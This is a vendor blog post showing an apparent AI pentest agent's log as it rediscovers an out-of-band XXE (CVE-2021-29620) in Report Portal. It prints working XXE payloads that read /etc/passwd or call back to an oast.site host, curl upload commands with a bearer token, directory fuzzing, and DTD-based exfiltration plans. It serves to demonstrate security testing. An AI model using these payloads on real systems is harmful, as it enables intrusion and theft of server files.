Thu 07 August 2025
We Threw Our AI Pentest Engine at a Known Complex XXE to see if it actually works.
Instead of giving the usual vendor spiel about "revolutionary technology" and "paradigm shifts," we decided to test against real complex vulnerabilities. One that traditional scanners routinely miss.
We pointed Ostorlab's AI Pentest Engine at Report Portal, specifically hunting for CVE-2021-29620 - a complex XXE vulnerability that's been sitting in the CVE database since 2021. Not to discover it (it's already been found and patched), but to answer a simple question: Can our AI actually find the complex stuff that traditional scanners miss?
This XXE is interesting because:
- It requires complex file upload manipulation - not just sending
<![ENTITY]>
and hoping for the best - The data exfiltration happens out-of-band - no error messages telling you it worked
- It needs iterative testing - hundreds of variations to find the one that triggers and requires finding the upload feature and passing the authentication step
CVE-2021-29620 was our proof-of-concept. A complex, chained, out-of-band XXE that requires actual intelligence to find. And our Ostorlab AI Pentest Engine found it, independently, without hints, just like a real attacker would have.
In the rest of this post, we'll show you exactly how the engine approached this problem, what made it succeed where traditional scanners failed:
[*] Document the authentication process to enable authenticated testing. The primary goal is to identify the login page/endpoint, capture a sample login request (including method, URL, headers, and body), and then use the provided credentials 'default' and '1q2w3e' to confirm a successful login. The expected outcome is a documented, repeatable process for obtaining a valid session, including the specific session token or cookie issued by the application upon successful authentication.
-- The authentication process for the web application at http://REDACTED has been successfully documented.
Authentication Flow
-
Login Page: The user is presented with a login page at
http://REDACTED/ui/
. -
Credentials Submission: The user enters their credentials (username: 'default', password: '1q2w3e') into the provided form.
-
Authentication Request: Upon submission, the application sends a
POST
request to the following endpoint:http://REDACTED/uat/sso/oauth/token
The request includes the following:
- Method:
POST
- Headers:
Content-Type
:application/x-www-form-urlencoded
Authorization
:Basic dWk6dWltYW4=
-
Body:
grant_type=password&username=default&password=1q2w3e
-
Session Token Retrieval: The server validates the credentials and, upon success, responds with a JSON object containing an
access_token
. This token is a JSON Web Token (JWT) that serves as the session token for subsequent requests.
Sample Response:
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ",
"token_type": "bearer",
"refresh_token": "...",
"expires_in": 86399,
"scope": "ui"
}
- Authenticated Session: The application is now authenticated. All subsequent requests to the API must include the
access_token
in theAuthorization
header as a bearer token.
Example: Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
This documented process provides a clear and repeatable method for authenticating to the application, which is essential for conducting further authenticated vulnerability testing.
Initial navigation to http://REDACTED
:
The application redirects to http://REDACTED/ui/
Login Page Screenshot
:
screenshot_015fb570-7f6c-4298-96ba-9bb6e4cf006b_d22e7233-f4f9-47e6-a188-d9ef303c75e4.png
Login Page Content
:
The login page contains a form with fields for "Login" and "Password".
Login Credentials
:
Username: 'default', Password: '1q2w3e'
Login Action
:
Filled the login and password fields and clicked the 'Login' button.
Post-Login Screenshot
:
screenshot_015fb570-7f6c-4298-96ba-9bb6e4cf006b_47ed351e-591a-4dcc-8799-84b1876ff475.png
Authentication Request
:
POST /uat/sso/oauth/token HTTP/1.1
Host: REDACTED
Content-Type: application/x-www-form-urlencoded
Authorization: Basic dWk6dWltYW4=
grant_type=password&username=default&password=1q2w3e
Authentication Response
:
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
...
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ",
"token_type": "bearer",
"refresh_token": "...",
"expires_in": 86399,
"scope": "ui"
}
Application Attack Surface
[*] Now that the authentication process is documented, the next step is to discover the application's attack surface. This task involves using the obtained authentication token to systematically crawl or spider the entire application. The primary goal is to identify all accessible pages, features, and API endpoints available to the authenticated user, creating a comprehensive map that will be used to pinpoint potential XML processing functionalities in subsequent tasks.
-- The application's attack surface has been successfully mapped. I started by using ffuf to brute-force directories and files, which led to the discovery of the /health
, /info
, and /ui
endpoints. Further fuzzing of the API layer revealed the /api/v1/api-docs
endpoint, which provided a Swagger 2.0 JSON document. This document outlines the entire API structure. After analyzing the API documentation, I identified the /v1/{projectName}/launch/import
endpoint as a potential candidate for XXE, as it processes XML files. I also confirmed that my user is assigned to the "default_personal" project. The next logical step is to craft a malicious XML file and attempt to exploit the import functionality.
ffuf_-u_http://REDACTED/FUZZ_-w_agent/tools/wordlists/Web-Content/common.txt_-H_..._output
:
"The ffuf scan revealed several endpoints, most of which resulted in 302 redirects. Key findings include the /health, /info, and /ui endpoints, which returned 200 OK status codes, providing valuable information about the application's status, build, and user interface."
ffuf_api_v1_fuzzing_output
:
"The ffuf scan of the /api/v1/ endpoint discovered the api-docs endpoint, which provided a Swagger 2.0 JSON document. This document is a critical piece of information for understanding the API structure."
api-docs_swagger.json
:
"The Swagger JSON file provides a comprehensive overview of the available API endpoints, methods, and parameters. Analysis of this file revealed the /v1/{projectName}/launch/import endpoint, which accepts multipart/form-data and processes XML files. This is a prime candidate for XXE vulnerability testing."
Malicious XML File
[*] Craft a malicious XML file containing an in-band XXE payload designed to read the /etc/passwd
file. Upload this file to the /v1/default_personal/launch/import
endpoint using a multipart/form-data request, authenticated with the previously obtained bearer token. The goal is to determine if the application's response contains the contents of the /etc/passwd
file, which would confirm a classic, in-band XXE vulnerability.
-- The application is vulnerable to a blind Out-of-Band (OOB) XML External Entity (XXE) injection. By crafting a malicious XML file with a parameter entity that points to an external server, I was able to trigger a DNS callback, confirming that the application's XML parser is processing external entities.
Summary of Actions
- Initial In-Band Test: I first attempted a classic in-band XXE attack by crafting an XML file to read
/etc/passwd
. The server response did not include the file's content, indicating that in-band XXE is not possible. - OOB Test with General Entity: I then tested for OOB XXE using a general entity (
&xxe;
). This did not result in a callback, suggesting that general entities are not processed in a way that allows for OOB interactions. - OOB Test with Parameter Entity: Finally, I tested for OOB XXE using a parameter entity (
%xxe;
). This successfully triggered a DNS callback to my Interactsh server, confirming the blind XXE vulnerability.
Steps to Reproduce
- Start an Interactsh session to get a unique callback URL.
- Create a malicious XML file (e.g.,
malicious-oob-parameter-entity.xml
) with the following content, replacing<INTERACTSH_URL>
with your Interactsh URL:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://<INTERACTSH_URL>"> %xxe;]>
<launch name="test" temporary="true">
<description>test</description>
<mode>DEFAULT</mode>
</launch>
- Send a
POST
request tohttp://REDACTED/api/v1/default_personal/launch/import
with a valid bearer token and the malicious XML file as a multipart/form-data attachment. - Check your Interactsh client for a DNS callback from the server.
Evidence
- Malicious XML Payload: See artifact
malicious-oob-parameter-entity.xml
. - cURL Request: See artifact
curl-request.txt
. - Interactsh Callback: See artifact
interactsh-callback.json
.
This vulnerability can be used to exfiltrate sensitive data from the server and to perform Server-Side Request Forgery (SSRF) attacks against the internal network. Further attempts to exfiltrate data were unsuccessful due to parsing errors, but the confirmed OOB interaction is sufficient to prove the vulnerability's existence.
malicious-oob-parameter-entity.xml
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://d29ihorsis9lrbenk1r0ewbi1ts3iecdb.oast.site"> %xxe;]>
<launch name="test" temporary="true">
<description>test</description>
<mode>DEFAULT</mode>
</launch>
curl-request.txt
:
-X POST "http://REDACTED/api/v1/default_personal/launch/import" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ" -F "file=@malicious-oob-parameter-entity.xml"
interactsh-callback.json
:
[
{
"protocol": "dns",
"raw_request": ";; opcode: QUERY, status: NOERROR, id: 57100\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;D29IHorSIs9lRBEnk1R0Ewbi1ts3IeCDB.oAsT.siTE.\tIN\t A\n",
"remote_address": "172.253.2.214"
},
{
"protocol": "dns",
"raw_request": ";; opcode: QUERY, status: NOERROR, id: 27154\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;D29ihoRsiS9LrbeNK1r0EWBi1Ts3IeCDb.OAST.siTE.\tIN\t AAAA\n",
"remote_address": "172.253.228.146"
},
{
"protocol": "dns",
"raw_request": ";; opcode: QUERY, status: NOERROR, id: 22390\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;d29IhorSIS9lRBENK1r0ewbi1tS3IeCdb.OaSt.siTE.\tIN\t AAAA\n",
"remote_address": "172.253.13.148"
},
{
"protocol": "dns",
"raw_request": ";; opcode: QUERY, status: NOERROR, id: 50970\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;d29IHorSiS9LrBenk1r0EwBI1ts3iECdb.OAST.sITE.\tIN\t AAAA\n",
"remote_address": "172.253.12.158"
},
{
"protocol": "dns",
"raw_request": ";; opcode: QUERY, status: NOERROR, id: 41406\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;d29iHOrSIs9LrbenK1r0eWBi1tS3IeCdB.oast.SITE.\tIN\t AAAA\n",
"remote_address": "172.253.5.152"
},
{
"protocol": "dns",
"raw_request": ";; opcode: QUERY, status: NOERROR, id: 38150\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;D29IHORsis9LrBEnK1r0EwBI1tS3iEcDB.oast.SITe.\tIN\t AAAA\n",
"remote_address": "172.253.5.147"
}
]
XXE OOB Exfiltration
[*] Now that a blind XXE vulnerability has been confirmed via an OOB callback, the next critical step is to demonstrate its impact by exfiltrating data. This task will involve hosting a malicious external DTD file. This DTD will be crafted to read a sensitive local file on the server (e.g., /etc/hostname
) and then transmit its contents to our OAST listener by embedding the data within a URL parameter. The XML payload uploaded to the import functionality will be modified to reference this externally hosted DTD. The expected outcome is to receive an HTTP request on the OAST listener containing the exfiltrated file content, thereby proving that the vulnerability can be used for data theft.
-- Error encountered while executing task
[*] The previous attempt to exfiltrate data using an external DTD failed due to a tool-side error, not a negative result from the target. The immediate next step must be to retry this critical action to determine the full impact of the confirmed blind XXE vulnerability. This task will recreate the conditions for data exfiltration by hosting a malicious DTD designed to read a local file (/etc/hostname
) and send its contents to an OAST listener. The goal is to receive a callback on the listener containing the server's hostname, which will definitively prove that the vulnerability can be used for data exfiltration.
-- The attempt to exfiltrate data via a blind XXE vulnerability has been unsuccessful. The primary obstacle is the inability to host a malicious DTD file on an external server that is reachable by the target application. I have attempted to use a local python server, pastebin, and github gists, but all methods have failed. The local server is not reachable from the target application, and I am unable to create a raw, publicly accessible file on pastebin or github gists. Without a way to serve the DTD file, I cannot construct the full XXE payload needed to exfiltrate data. Therefore, while the blind XXE vulnerability is confirmed, I am unable to demonstrate its full impact.
[*] Since attempts to exfiltrate data using an external DTD have failed due to environmental constraints (inability to host a reachable file), the next logical step is to attempt an alternative exfiltration method that does not rely on an external server. This task will focus on triggering an error-based blind XXE. A malicious XML file will be crafted with a self-contained DOCTYPE that attempts to read a local file (e.g., /etc/passwd
) and then uses its content to construct an invalid file path, forcing a parser error. The goal is to analyze the server's response for a verbose error message that leaks the contents of the targeted file, thereby demonstrating data exfiltration without needing an out-of-band connection.
-- The attempt to exfiltrate data via error-based and XInclude-based XXE has been unsuccessful. While the blind Out-of-Band (OOB) XXE vulnerability is confirmed, demonstrating its full impact through data exfiltration has been challenging due to environmental constraints and the application's specific parser behavior.
Summary of Actions
-
Error-Based XXE Attempt: I crafted a malicious XML file with a self-contained DOCTYPE that attempted to read
/etc/passwd
and use its content to construct an invalid file path. The server responded with a parsing error, but it did not leak the contents of the file. Instead, the error message indicated that the parameter entity reference was misplaced, preventing the exfiltration attempt. -
XInclude-Based XXE Attempt: I then tested for XXE using XInclude, which is an alternative method for including external files. The server responded with a success message, indicating that the file was imported. However, without a way to view the imported data, it is impossible to confirm whether the contents of
/etc/passwd
were successfully included.
Conclusion
Although a blind XXE vulnerability has been confirmed through OOB interaction, all attempts to exfiltrate data have been unsuccessful. The error-based technique failed due to the parser's specific error handling, and the XInclude technique was inconclusive. Without a reliable method for data exfiltration, the full impact of this vulnerability remains unconfirmed.
Evidence
- Malicious XML Payloads: See artifacts
malicious-error-based.xml
andmalicious-xinclude.xml
. - cURL Requests: See artifacts
curl-error-based-request.txt
andcurl-xinclude-request.txt
. - Server Responses: See artifacts
curl-error-based-response.json
andcurl-xinclude-response.json
. malicious-error-based.xml
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE launch [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<launch name="test" temporary="true">
<description>test</description>
<mode>DEFAULT</mode>
</launch>
curl-error-based-request.txt
:
curl -X POST "http://REDACTED/api/v1/default_personal/launch/import" -H "Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ" -H "Content-Type: multipart/form-data" -F "file=@malicious-error-based.xml"
curl-error-based-response.json
:
{"errorCode":40035,"message":"Error while importing the file. 'Error during parsing the xml file: 'The parameter entity reference \"%file;\" cannot occur within markup in the internal subset of the DTD.''}"}
malicious-xinclude.xml
:
<?xml version="1.0" encoding="UTF-8"?>
<launch name="test" temporary="true" xmlns:xi="http://www.w3.org/2001/XInclude">
<description>
<xi:include href="file:///etc/passwd" parse="text"/>
</description>
<mode>DEFAULT</mode>
</launch>
curl-xinclude-request.txt
:
curl -X POST "http://REDACTED/api/v1/default_personal/launch/import" -H "Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ" -H "Content-Type: multipart/form-data" -F "file=@malicious-xinclude.xml"
curl-xinclude-response.json
:
{"message":"Launch with id = 350b0f87-e4d3-4ddb-93b7-a24ea6dd2755 is successfully imported."}
XInclude-based Exploitation
[*] Now that an XInclude-based XXE payload has been 'successfully imported' as a 'launch' (ID: 350b0f87-e4d3-4ddb-93b7-a24ea6dd2755), the next step is to thoroughly explore the web application's user interface. The goal is to locate where these imported launches are stored and displayed. Search for sections like 'Launches', 'Reports', 'Projects', or any dashboard that lists previous activities. The objective is to view the details of the imported launch and check if the contents of '/etc/passwd' are rendered on the page, which would turn the blind XXE into a confirmed in-band data disclosure.
-- I have successfully explored the web application's user interface to determine if the XInclude-based XXE payload resulted in in-band data disclosure. I navigated to the 'Launches' section and located the imported launch named 'malicious-xinclude'. Upon inspecting the details of this launch, I found no evidence of the /etc/passwd
file's contents. The page displayed a "No results found" message, indicating that the application did not render the included external entity. Therefore, I can conclude that while the application may be vulnerable to XInclude, this specific payload does not lead to in-band data exfiltration through the user interface.
screenshot_90c1225b-75fc-464c-816b-4f25db5fb0e1_3479491b-1b22-4a19-816a-7f76b397c856.png
:
Login page screenshot
screenshot_90c1225b-75fc-464c-816b-4f25db5fb0e1_330558c7-183d-4dd2-8fdb-2c64dbb67b46.png
:
Launches page screenshot
screenshot_90c1225b-75fc-464c-816b-4f25db5fb0e1_0191cba7-023b-4c09-a04a-46ff56d7375b.png
:
Launch detail page screenshot
Final Report
>> Finally, the AI generates a comprehensive report detailing the vulnerability and exploitation steps:
We do newsletters, too
Get the latest news, updates, and product innovations from Ostorlab right in your inbox.